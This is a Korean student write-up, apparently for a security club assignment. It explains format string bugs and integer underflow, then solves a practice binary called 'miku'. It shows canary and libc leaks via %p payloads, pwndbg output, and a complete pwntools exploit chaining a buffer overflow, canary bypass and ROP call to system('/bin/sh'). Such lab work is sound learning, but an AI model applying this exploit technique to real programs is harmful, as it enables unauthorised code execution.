시스템 5차시

이동규·2026년 8월 5일

Layer7과제

목록 보기
13/22

Format String

Format String(포맷 스트링)은 데이터를 어떤 형식으로 출력하거나 입력할지 지정하는 문자열이다.

대표적으로

%d   // 정수

%x   // 16진수

%p   // 포인터

%s   // 문자열

%c   // 문자

%n   // 출력한 글자 수를 메모리에 저장

등이 있다.

이러한 Format String은 C언어의

printf()
fprintf()
sprintf()
snprintf()

scanf()
fscanf()
sscanf()

처럼 이름 끝에 f(formatted)가 붙는 함수들에서 사용된다.

예를 들어

printf("%d", num);
printf("%s", str);
printf("%p", ptr);

처럼 같은 함수라도 Format String에 따라 출력 형식이 달라진다.

즉 Format String은 함수에게 데이터를 어떤 형태로 처리할지 알려주는 역할을 한다.


Format String Bug

포맷 스트링 버그는 사용자의 입력이 그대로 Format String으로 사용될 때 발생하는 취약점이다.

정상적인 코드는

printf("%s", buf);

처럼 작성해야 하지만,

printf(buf);

처럼 작성하면 buf의 내용을 문자열이 아닌 포맷 문자열로 해석하게 된다.

예를 들어 사용자가

%x %x %x %x

를 입력하면 printf는 %x를 보고 스택의 값을 하나씩 출력하기 시작한다.

즉 원래 출력해서는 안 되는 메모리의 내용을 읽을 수 있게 되는 것이다.

%n?

%n은 지금까지 출력한 글자 수를 메모리에 저장하는 포맷 문자열인데, 이를 이용하면 원하는 주소에 값을 쓸 수도 있다.

그래서 포맷 스트링 버그는 단순히 정보를 유출하는 것뿐만 아니라 메모리까지 조작할 수 있다고 한다.

miku

========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> 1 
What's your fan name? > %p
Miku: Nice to meet you~ ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> 2
Miku: Welcome back, 0x7ffee9dae440!  ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> 

1 이름 입력에 %p를 넣어봤더니 이상한 주소가 하나 출력된다
계속 움직여보자

 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> $ 1
What's your fan name? > $ %7$p
Miku: Nice to meet you~ ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> $ 2
Miku: Welcome back, 0x6ed501bf1312ca00!  ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================

오
0x6ed501bf1312ca00
널바이트가 수상하다
gdb로 붙여보자

pwndbg> canary
AT_RANDOM  = 0x7ffe71169b49 # points to global canary seed value
TLS Canary = 0x72f8e9ffb768 # address where canary is stored
Canary     = 0x6ed501bf1312ca00 (may be incorrect on != glibc)
Thread 1: Found valid canaries.
00:0000│-858 0x7ffe71168628 ◂— 0x6ed501bf1312ca00
Additional results hidden. Use --all to see them.

카나리 발견

비슷한 방식으로 계속하면

========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> $ 1
What's your fan name? > $ %13$p
Miku: Nice to meet you~ ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> $ 2
Miku: Welcome back, 0x7e526142a601!  ♪
========================================
 1. Introduce yourself to Miku
 2. Say hi to Miku
 3. Hand Miku a present
 4. Ask Miku for her secret
 5. Leave the concert
========================================
miku> $  
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x563eaa2cf000     0x563eaa2d0000 r--p     1000       0 miku
    0x563eaa2d0000     0x563eaa2d1000 r-xp     1000    1000 miku
    0x563eaa2d1000     0x563eaa2d3000 r--p     2000    2000 miku
    0x563eaa2d3000     0x563eaa2d4000 r--p     1000    3000 miku
    0x563eaa2d4000     0x563eaa2d5000 rw-p     1000    4000 miku
    0x7e5261400000     0x7e5261428000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7e5261428000     0x7e52615c0000 r-xp   198000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7e52615c0000     0x7e526160e000 r--p    4e000  1c0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7e526160e000     0x7e5261612000 r--p     4000  20d000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7e5261612000     0x7e5261614000 rw-p     2000  211000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7e5261614000     0x7e5261621000 rw-p     d000       0 [anon_7e5261614]
    0x7e52616e2000     0x7e52616e5000 rw-p     3000       0 [anon_7e52616e2]
    0x7e52616eb000     0x7e52616ed000 rw-p     2000       0 [anon_7e52616eb]
    0x7e52616ed000     0x7e52616ee000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7e52616ee000     0x7e526171d000 r-xp    2f000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7e526171d000     0x7e5261728000 r--p     b000   30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7e5261728000     0x7e526172a000 r--p     2000   3b000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7e526172a000     0x7e526172b000 rw-p     1000   3d000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7e526172b000     0x7e526172c000 rw-p     1000       0 [anon_7e526172b]
    0x7ffd9e274000     0x7ffd9e296000 rw-p    22000       0 [stack]
    0x7ffd9e3d8000     0x7ffd9e3dc000 r--p     4000       0 [vvar]
    0x7ffd9e3dc000     0x7ffd9e3de000 r-xp     2000       0 [vdso]
pwndbg> 

libc 어딘가로 추정되는 곳을 찾을 수 있다
그후 gdb로 알게된 libcbase를 그 어딘가 libc에서 빼주면 그 차이를 알아 libc base를 알 수 있게된다

libc+a - libc_base(gdb) = a
libc+a - a = libc_base

libc와 canary를 찾았으니 이제 ROP체인을 터트려줄 가젯만 가져와서 bof잘 터트리고 카나리우회하고 ROP체인을 박아주면

  • 중간에 입력받을 수 있는 범위 정하는거 음수 넣고 언더플로우내서 큰수로 바꾸면 bof잘 터진다
from pwn import *

p = process('./miku')
libc = ELF('./libc.so.6')
# 포멧 스트링으로 canary와 libc +a leak
p.sendlineafter(b'miku> ', b'1')
p.sendlineafter(b'What\'s your fan name? > ', b'%7$p.%13$p.')
p.sendlineafter(b'miku> ', b'2')
#받기
p.recvuntil(b'Miku: Welcome back, ')
canary = int(p.recvuntil(b'.', drop=True), 16)
print(f'canary = {hex(canary)}')
libc_leak = int(p.recvuntil(b'.', drop=True), 16)
print(f'libc leak = {hex(libc_leak)}')
libc_base = libc_leak - 0x2a1ca
print(f'libc base = {hex(libc_base)}')
# rop가젯준비
r = ROP(libc)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
ret = libc_base + r.find_gadget(['ret'])[0]
pop_rdi = libc_base + r.find_gadget(['pop rdi', 'ret'])[0]
# 언더플로우 발생으로 원하는 만큼 입력하게 바꿈
p.sendlineafter(b'miku> ', b'3')
p.sendlineafter(b'How big is your present (chars)? > ', b'-1')
# payload작성
payload = b'A' * 0x48
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendafter(b'Okay, wrap it up > ', payload)

p.interactive()

Integer Underflow

Integer Underflow는 정수 연산 결과가 자료형의 최소 범위를 벗어나는 현상이다.

unsigned 자료형은 음수를 표현할 수 없기 때문에 Underflow 발생 시 큰 양수로 변환된다.

예를 들어

unsigned int num = 0;
num--;

수학적으로는 -1이지만, 실제로는

0xffffffff

로 저장되어 32비트 기준

4294967295

가 된다.

즉,

음수
 ↓
unsigned 변환
 ↓
최대값으로 순환

0개의 댓글